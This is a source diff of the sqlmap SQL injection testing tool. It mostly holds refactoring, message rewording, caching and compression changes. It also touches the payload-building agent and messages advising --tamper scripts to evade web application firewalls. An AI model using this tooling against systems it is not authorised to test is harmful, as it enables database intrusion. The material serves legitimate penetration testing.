kb.wizardMode = False
if kb.testQueryCount > 0:
header = "sqlmap identified the following injection point(s) with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -242,11 +245,13 @@ def _saveToResultsFile():
for key, value in results.items():
place, parameter, notes = key
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.writelines(line)
conf.resultsFP.write(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.writelines(line)
conf.resultsFP.write(line)
conf.resultsFP.flush()
def start():
"""
@@ -366,9 +371,8 @@ def start():
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
else:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") + 1:]
if '?' in targetUrl:
firstPart, secondPart = targetUrl.split('?', 1)
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
@@ -581,11 +585,11 @@ def start():
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters appear to be not injectable."
errMsg = "all tested parameters do not appear to be injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase '--level'/'--risk' values "
errMsg += "to perform more tests."
errMsg += " Try to increase values for '--level'/'--risk' options "
errMsg += "if you wish to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += " Rerun without providing the option '--technique'."
@@ -608,15 +612,9 @@ def start():
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests. "
errMsg += "Please, consider usage of tampering scripts as "
errMsg += "your target might filter the queries."
errMsg += "strongly advised to continue on with the tests."
if not conf.string and not conf.notString and not conf.regexp:
errMsg += " Also, you can try to rerun by providing "
errMsg += "either a valid value for option '--string' "
errMsg += "(or '--regexp')."
elif conf.string:
if conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
@@ -629,8 +627,8 @@ def start():
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could retry "
errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"
errMsg += "involved (e.g. WAF) maybe you could try to use "
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+4 -13
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -97,6 +97,7 @@ class Agent(object):
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter])
newValue = getUnicode(newValue) if newValue else newValue
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue
@@ -105,7 +106,7 @@ class Agent(object):
else:
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
for char in ('?', '=', ':', ','):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
@@ -207,16 +208,6 @@ class Agent(object):
return retVal
def fullPayload(self, query):
if conf.direct:
return self.payloadDirect(query)
query = self.prefixQuery(query)
query = self.suffixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, expression, prefix=None, where=None, clause=None):
"""
This method defines how the input expression has to be escaped
@@ -371,7 +362,7 @@ class Agent(object):
rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field
if 'hex' in rootQuery:
if "hex" in rootQuery:
hexField = rootQuery.hex.query % field
else:
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
+14 -14
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -10,6 +10,7 @@ try:
except:
import pickle
import bz2
import itertools
import os
import sys
@@ -18,6 +19,7 @@ import tempfile
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapSystemException
from lib.core.settings import BIGARRAY_CHUNK_SIZE
from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
DEFAULT_SIZE_OF = sys.getsizeof(object())
@@ -50,7 +52,7 @@ class BigArray(list):
List-like class used for storing large amounts of data (disk cached)
"""
def __init__(self):
def __init__(self, items=[]):
self.chunks = [[]]
self.chunk_length = sys.maxint
self.cache = None
@@ -58,6 +60,9 @@ class BigArray(list):
self._os_remove = os.remove
self._size_counter = 0
for item in items:
self.append(item)
def append(self, value):
self.chunks[-1].append(value)
@@ -80,8 +85,8 @@ class BigArray(list):
if len(self.chunks[-1]) < 1:
self.chunks.pop()
try:
with open(self.chunks[-1], "rb") as fp:
self.chunks[-1] = pickle.load(fp)
with open(self.chunks[-1], "rb") as f:
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
except IOError, ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message
@@ -101,8 +106,8 @@ class BigArray(list):
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
self.filenames.add(filename)
os.close(handle)
with open(filename, "w+b") as fp:
pickle.dump(chunk, fp, pickle.HIGHEST_PROTOCOL)
with open(filename, "w+b") as f:
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename
except (OSError, IOError), ex:
errMsg = "exception occurred while storing data "
@@ -119,8 +124,8 @@ class BigArray(list):
if not (self.cache and self.cache.index == index):
try:
with open(self.chunks[index], "rb") as fp:
self.cache = Cache(index, pickle.load(fp), False)
with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
except IOError, ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message
@@ -134,15 +139,10 @@ class BigArray(list):
self.chunks, self.filenames = state
def __getslice__(self, i, j):
retval = BigArray()
i = max(0, len(self) + i if i < 0 else i)
j = min(len(self), len(self) + j if j < 0 else j)
for _ in xrange(i, j):
retval.append(self[_])
return retval
return BigArray(self[_] for _ in xrange(i, j))
def __getitem__(self, y):
if y < 0:
+122 -97
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -9,6 +9,7 @@ import codecs
import contextlib
import cookielib
import copy
import distutils
import getpass
import hashlib
import httplib
@@ -18,6 +19,7 @@ import locale
import logging
import ntpath
import os
import platform
import posixpath
import random
import re
@@ -28,6 +30,7 @@ import sys
import tempfile
import threading
import time
import types
import urllib
import urllib2
import urlparse
@@ -72,6 +75,7 @@ from lib.core.enums import EXPECTED
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import LOGGING_LEVELS
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import OPTION_TYPE
from lib.core.enums import OS
@@ -104,7 +108,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import DUMMY_USER_INJECTION
from lib.core.settings import DYNAMICITY_MARK_LENGTH
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
from lib.core.settings import ERROR_PARSING_REGEXES
from lib.core.settings import FILE_PATH_REGEXES
from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
@@ -634,7 +638,7 @@ def paramToDict(place, parameters=None):
elif isinstance(value, (bool, int, float, basestring)):
original = current[key]
if isinstance(value, bool):
current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
else:
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
@@ -866,7 +870,10 @@ def boldifyMessage(message):
def setColor(message, bold=False):
retVal = message
level = extractRegexResult(r"\[(?P<result>[A-Z ]+)\]", message) or kb.get("stickyLevel")
level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
if isinstance(level, unicode):
level = unicodeencode(level)
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
if bold:
@@ -882,6 +889,21 @@ def setColor(message, bold=False):
return retVal
def clearColors(message):
"""
Clears ANSI color codes
>>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld")
'Hello World'
"""
retVal = message
if message:
retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
return retVal
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
"""
Writes text to the stdout (console) stream
@@ -890,7 +912,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
message = ""
if not kb.get("threadException"):
if forceOutput or not getCurrentThreadData().disableStdOut:
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
if kb.get("multiThreadMode"):
logging._acquireLock()
@@ -996,7 +1018,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
if retVal:
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True)
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the given answer"
logger.debug(debugMsg)
@@ -1010,23 +1032,23 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
else:
options = unicode()
dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True)
dataToStdout("\r%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the default behaviour, running in batch mode"
debugMsg = "used the default behavior, running in batch mode"
logger.debug(debugMsg)
retVal = default
else:
logging._acquireLock()
if conf.get("beep"):
beep()
dataToStdout("\r%s" % message, forceOutput=True, bold=True)
kb.prependFlag = False
try:
retVal = raw_input() or default
logging._acquireLock()
if conf.get("beep"):
beep()
dataToStdout("\r%s" % message, forceOutput=not kb.wizardMode, bold=True)
kb.prependFlag = False
retVal = raw_input().strip() or default
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
except:
try:
@@ -1046,7 +1068,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if boolean:
retVal = retVal.strip().upper() == 'Y'
return retVal
return retVal or ""
def randomRange(start=0, stop=1000, seed=None):
"""
@@ -1171,7 +1193,7 @@ def banner():
_ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
_ = re.sub("\033.+?m", "", _)
_ = clearColors(_)
elif IS_WIN:
coloramainit()
@@ -1398,9 +1420,9 @@ def parseTargetUrl():
if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
if ":443/" in conf.url:
conf.url = "https://" + conf.url
conf.url = "https://%s" % conf.url
else:
conf.url = "http://" + conf.url
conf.url = "http://%s" % conf.url
if kb.customInjectionMark in conf.url:
conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
@@ -1675,32 +1697,32 @@ def getCharset(charsetType=None):
# Binary
elif charsetType == CHARSET_TYPE.BINARY:
asciiTbl.extend([0, 1])
asciiTbl.extend((0, 1))
asciiTbl.extend(xrange(47, 50))
# Digits
elif charsetType == CHARSET_TYPE.DIGITS:
asciiTbl.extend([0, 9])
asciiTbl.extend((0, 9))
asciiTbl.extend(xrange(47, 58))
# Hexadecimal
elif charsetType == CHARSET_TYPE.HEXADECIMAL:
asciiTbl.extend([0, 1])
asciiTbl.extend((0, 1))
asciiTbl.extend(xrange(47, 58))
asciiTbl.extend(xrange(64, 71))
asciiTbl.extend([87, 88]) # X
asciiTbl.extend((87, 88)) # X
asciiTbl.extend(xrange(96, 103))
asciiTbl.extend([119, 120]) # x
asciiTbl.extend((119, 120)) # x
# Characters
elif charsetType == CHARSET_TYPE.ALPHA:
asciiTbl.extend([0, 1])
asciiTbl.extend((0, 1))
asciiTbl.extend(xrange(64, 91))
asciiTbl.extend(xrange(96, 123))
# Characters and digits
elif charsetType == CHARSET_TYPE.ALPHANUM:
asciiTbl.extend([0, 1])
asciiTbl.extend((0, 1))
asciiTbl.extend(xrange(47, 58))
asciiTbl.extend(xrange(64, 91))
asciiTbl.extend(xrange(96, 123))
@@ -1839,8 +1861,7 @@ def getPageWordSet(page):
# only if the page's charset has been successfully identified
if isinstance(page, unicode):
_ = getFilteredPageContent(page)
retVal = set(re.findall(r"\w+", _))
retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page)))
return retVal
@@ -1892,7 +1913,7 @@ def isWindowsDriveLetterPath(filepath):
def posixToNtSlashes(filepath):
"""
Replaces all occurances of Posix slashes (/) in provided
Replaces all occurrences of Posix slashes (/) in provided
filepath with NT ones (\)
>>> posixToNtSlashes('C:/Windows')
@@ -1903,7 +1924,7 @@ def posixToNtSlashes(filepath):
def ntToPosixSlashes(filepath):
"""
Replaces all occurances of NT slashes (\) in provided
Replaces all occurrences of NT slashes (\) in provided
filepath with Posix ones (/)
>>> ntToPosixSlashes('C:\\Windows')
@@ -2057,6 +2078,7 @@ def readXmlFile(xmlFile):
return retVal
@cachedmethod
def stdev(values):
"""
Computes standard deviation of a list of numbers.
@@ -2068,19 +2090,10 @@ def stdev(values):
if not values or len(values) < 2:
return None
key = (values[0], values[-1], len(values))
if kb.get("cache") and key in kb.cache.stdev:
retVal = kb.cache.stdev[key]
else:
avg = average(values)
_ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0)
retVal = sqrt(_ / (len(values) - 1))
if kb.get("cache"):
kb.cache.stdev[key] = retVal
return retVal
return sqrt(_ / (len(values) - 1))
def average(values):
"""
@@ -2240,7 +2253,7 @@ def goGoodSamaritan(prevValue, originalCharset):
def getPartRun(alias=True):
"""
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
Returns it or its alias used in txt/common-outputs.txt
Returns it or its alias used in 'txt/common-outputs.txt'
"""
retVal = None
@@ -2498,6 +2511,9 @@ def findLocalPort(ports):
def findMultipartPostBoundary(post):
"""
Finds value for a boundary parameter in given multipart POST body
>>> findMultipartPostBoundary("-----------------------------9051914041544843365972754266\\nContent-Disposition: form-data; name=text\\n\\ndefault")
'9051914041544843365972754266'
"""
retVal = None
@@ -2687,6 +2703,7 @@ def enumValueToNameLookup(type_, value_):
return retVal
@cachedmethod
def extractRegexResult(regex, content, flags=0):
"""
Returns 'result' group value from a possible match with regex on a given
@@ -2779,13 +2796,17 @@ def findDynamicContent(firstPage, secondPage):
"""
This function checks if the provided pages have dynamic content. If they
are dynamic, proper markings will be made
>>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. <script src='ads.js'></script>Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.")
>>> kb.dynamicMarkings
[('natum reque et per. ', 'Facer tritani repreh')]
"""
if not firstPage or not secondPage:
return
infoMsg = "searching for dynamic content"
logger.info(infoMsg)
singleTimeLogMessage(infoMsg)
blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()
kb.dynamicMarkings = []
@@ -2794,7 +2815,7 @@ def findDynamicContent(firstPage, secondPage):
for block in blocks[:]:
(_, _, length) = block
if length <= DYNAMICITY_MARK_LENGTH:
if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH:
blocks.remove(block)
# Making of dynamic markings based on prefix/suffix principle
@@ -2812,14 +2833,23 @@ def findDynamicContent(firstPage, secondPage):
if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)):
continue
prefix = trimAlphaNum(prefix)
suffix = trimAlphaNum(suffix)
if prefix and suffix:
prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:]
suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH]
kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None))
infix = max(re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) for _ in (firstPage, secondPage)).group(1)
if infix[0].isalnum():
prefix = trimAlphaNum(prefix)
if infix[-1].isalnum():
suffix = trimAlphaNum(suffix)
kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None))
if len(kb.dynamicMarkings) > 0:
infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
logger.info(infoMsg)
singleTimeLogMessage(infoMsg)
def removeDynamicContent(page):
"""
@@ -2889,7 +2919,7 @@ def isDBMSVersionAtLeast(version):
value = filterStringValue(value, '[0-9.><=]')
if isinstance(value, basestring):
if value and isinstance(value, basestring):
if value.startswith(">="):
value = float(value.replace(">=", ""))
elif value.startswith(">"):
@@ -2899,7 +2929,7 @@ def isDBMSVersionAtLeast(version):
elif value.startswith(">"):
value = float(value.replace("<", "")) - 0.01
retVal = getUnicode(value) >= getUnicode(version)
retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version))
return retVal
@@ -3277,9 +3307,9 @@ def unhandledExceptionMessage():
errMsg += "reproduce the bug. The "
errMsg += "developers will try to reproduce the bug, fix it accordingly "
errMsg += "and get back to you\n"
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % PLATFORM
errMsg += "Operating system: %s\n" % platform.platform()
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS:"
@@ -3374,6 +3404,9 @@ def createGithubIssue(errMsg, excMsg):
def maskSensitiveData(msg):
"""
Masks sensitive data in the supplied message
>>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner')
u'python sqlmap.py -u *********************************** --banner'
"""
retVal = getUnicode(msg)
@@ -3402,7 +3435,7 @@ def listToStrValue(value):
'1, 2, 3'
"""
if isinstance(value, (set, tuple)):
if isinstance(value, (set, tuple, types.GeneratorType)):
value = list(value)
if isinstance(value, list):
@@ -3412,22 +3445,6 @@ def listToStrValue(value):
return retVal
def getExceptionFrameLocals():
"""
Returns dictionary with local variable content from frame
where exception has been raised
"""
retVal = {}
if sys.exc_info():
trace = sys.exc_info()[2]
while trace.tb_next:
trace = trace.tb_next
retVal = trace.tb_frame.f_locals
return retVal
def intersect(valueA, valueB, lowerCase=False):
"""
Returns intersection of the array-ized values
@@ -3459,7 +3476,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
retVal = content
try:
if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
if all((content, payload)) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
def _(value):
while 2 * REFLECTED_REPLACEMENT_REGEX in value:
value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
@@ -3565,17 +3582,23 @@ def safeSQLIdentificatorNaming(name, isTable=False):
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
if _:
retVal = re.sub(r"(?i)\A%s\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal)
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
retVal = "`%s`" % retVal.strip("`")
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
retVal = "\"%s\"" % retVal.strip("\"")
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.strip("\"").upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
retVal = "[%s]" % retVal.strip("[]")
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)):
parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3600,9 +3623,7 @@ def unsafeSQLIdentificatorNaming(name):
retVal = name.replace("[", "").replace("]", "")
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
prefix = "%s." % DEFAULT_MSSQL_SCHEMA
if retVal.startswith(prefix):
retVal = retVal[len(prefix):]
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
return retVal
@@ -3767,7 +3788,7 @@ def filterPairValues(values):
def randomizeParameterValue(value):
"""
Randomize a parameter value based on occurances of alphanumeric characters
Randomize a parameter value based on occurrences of alphanumeric characters
>>> random.seed(0)
>>> randomizeParameterValue('foobar')
@@ -3812,7 +3833,7 @@ def randomizeParameterValue(value):
@cachedmethod
def asciifyUrl(url, forceQuote=False):
"""
Attempts to make a unicode URL usuable with ``urllib/urllib2``.
Attempts to make a unicode URL usable with ``urllib/urllib2``.
More specifically, it attempts to convert the unicode object ``url``,
which is meant to represent a IRI, to an unicode object that,
@@ -3852,7 +3873,7 @@ def asciifyUrl(url, forceQuote=False):
# Triggers on non-ascii characters - another option would be:
# urllib.quote(s.replace('%', '')) != s.replace('%', '')
# which would trigger on all %-characters, e.g. "&".
if s.encode("ascii", "replace") != s or forceQuote:
if getUnicode(s).encode("ascii", "replace") != s or forceQuote:
return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe)
return s
@@ -3877,13 +3898,15 @@ def asciifyUrl(url, forceQuote=False):
if port:
netloc += ':' + str(port)
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url
def isAdminFromPrivileges(privileges):
"""
Inspects privileges to see if those are coming from an admin user
"""
privileges = privileges or []
# In PostgreSQL the usesuper privilege means that the
# user is DBA
retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges)
@@ -3934,18 +3957,20 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
except (UnicodeError, ValueError):
pass
except ParseError:
if "<html" in (content or ""):
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
logger.warning(warnMsg)
filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
try:
forms = ParseResponse(filtered, backwards_compat=False)
except ParseError:
errMsg = "no success"
if raise_:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
if filtered and filtered != content:
try:
forms = ParseResponse(filtered, backwards_compat=False)
except ParseError:
errMsg = "no success"
if raise_:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
if forms:
for form in forms:
@@ -4022,7 +4047,7 @@ def checkSameHost(*urls):
elif len(urls) == 1:
return True
else:
return all(urlparse.urlparse(url or "").netloc.split(':')[0] == urlparse.urlparse(urls[0] or "").netloc.split(':')[0] for url in urls[1:])
return all(re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(url or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(urls[0] or "").netloc.split(':')[0]) for url in urls[1:])
def getHostHeader(url):
"""
@@ -4185,7 +4210,7 @@ def decodeHexValue(value, raw=False):
except UnicodeDecodeError:
pass
if not isinstance(retVal, unicode):
retVal = getUnicode(retVal, "utf8")
retVal = getUnicode(retVal, conf.encoding or "utf8")
return retVal
@@ -4341,7 +4366,7 @@ def getRequestHeader(request, name):
if request and name:
_ = name.upper()
retVal = max([value if _ == key.upper() else None for key, value in request.header_items()])
retVal = max(value if _ == key.upper() else None for key, value in request.header_items())
return retVal
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -193,7 +193,7 @@ def stdoutencode(data):
warnMsg = "cannot properly display Unicode characters "
warnMsg += "inside Windows OS command prompt "
warnMsg += "(http://bugs.python.org/issue1602). All "
warnMsg += "unhandled occurances will result in "
warnMsg += "unhandled occurrences will result in "
warnMsg += "replacement with '?' character. Please, find "
warnMsg += "proper character representation inside "
warnMsg += "corresponding output files. "
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+6 -9
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import hashlib
def cachedmethod(f, cache={}):
"""
Method with a cached content
@@ -13,14 +15,9 @@ def cachedmethod(f, cache={}):
"""
def _(*args, **kwargs):
try:
key = (f, tuple(args), frozenset(kwargs.items()))
if key not in cache:
cache[key] = f(*args, **kwargs)
except:
key = "".join(str(_) for _ in (f, args, kwargs))
if key not in cache:
cache[key] = f(*args, **kwargs)
key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16)
if key not in cache:
cache[key] = f(*args, **kwargs)
return cache[key]
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+4 -4
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -184,10 +184,10 @@ DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
DBMS_DICT = {
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
